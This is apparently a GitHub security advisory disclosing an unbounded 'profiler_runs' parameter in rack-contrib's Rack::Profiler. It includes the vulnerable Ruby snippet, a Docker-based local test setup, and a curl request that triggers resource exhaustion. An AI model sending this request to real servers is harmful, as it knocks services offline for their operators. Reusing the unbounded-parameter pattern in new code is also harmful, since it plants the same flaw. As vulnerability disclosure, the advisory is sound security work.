GHSA-8c8q-2xw3-j869

### Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

```ruby runs = (request.params['profiler_runs'] || @times).to_i result = @profile.profile do runs.times { @app.call(env) } end ```

An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value.

### PoC

Herein the `config.ru` file:

```ruby require 'rack' require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application app = lambda do |env| # Your application logic goes here [200, {}, ["Hello World"]] end

# Run the Rack application run app ```

A Dockerfile:

```Dockerfile # Use the official Ruby image as a base FROM ruby:latest

# Set the working directory inside the container WORKDIR /app

# Copy the custom config.ru file into the container COPY config.ru . COPY Gemfile .

# Install rack and the gems needed to run the app RUN bundle install

# Expose the port that rackup will listen on EXPOSE 9292

# Run rackup when the container starts ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

```

A Gemfile

``` source 'https://rubygems.org'

gem 'rack', '~> 2.0' gem 'rack-contrib', '~> 2.4' gem 'rackup' gem 'ruby-prof' ```

A Docker compose

```Dockerfile services: app: build: context: . ports: - "9292:9292" ```

To run the PoC

```bash docker compose up --build ```

To exploit DoS:

```bash curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" ```

### Impact - Potential denial of service by remotely user-controlled data.